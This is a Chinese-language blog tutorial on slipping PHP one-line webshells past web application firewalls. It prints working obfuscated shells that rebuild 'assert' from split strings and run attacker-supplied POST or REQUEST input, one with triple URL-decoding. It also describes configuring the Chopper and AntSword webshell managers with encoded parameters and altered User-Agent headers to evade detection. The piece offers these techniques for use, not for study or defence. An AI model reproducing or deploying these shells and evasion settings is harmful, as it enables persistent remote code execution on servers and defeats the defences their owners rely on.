论一句话过WAF

一.绕过方式

  • 木马存在敏感字符被拦截

木马代码存在敏感字符,直接被waf。如:如直接传<?php @@eval($_POST['123']); ?>,由于存在eval危险函数直接被拦截。

这时候需要对被waf的危险字符进行各种变形即可

收集的过狗马,最大同性交友网站github也有很多webshell项目

$poc = "a#s#s#e#r#t";

$poc_1 = explode("#", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];

$poc_2($_POST['super'])

  • Request请求体中存在敏感字符被拦截

最常见的就是对User-Agent和请求参数中进行检测。

如请求参数中存在敏感字符就会被拦,也会对特定标识的User-Agent头部进行拦截。如中国菜刀的User-Agent头部标识。

如对GET请求数据中的phpinfo()字符进行拦截

这时候我们需要对请求的参数进行编码,相对的在一句话代码中需要对传入的参数进行解密

如: 使用3次URL编码绕过

<?php

$poc ="axsxsxexrxt";

$poc_1 = explode("x", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];

$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

Phpinfo()进行三次url编码

二.原版菜刀的过waf配置

在Config.ini文件中对PHP_MAKE参数进行加密

如:   需要对传参进行三次URL编码

PHP_MAKE参数进行三次url加密和设置请求头即可

三.中国蚁剑AndSword过waf的配置

配置编码设置,这里我已PHP脚本作为例子

这里会有一个base64编码作为示范,只需要改动data[pwd]即可

三次URL编码,注意${randomID}不要做处理

在下方选中解密器,配置User-Agent

原文地址:https://www.cnblogs.com/supdon/p/13469725.html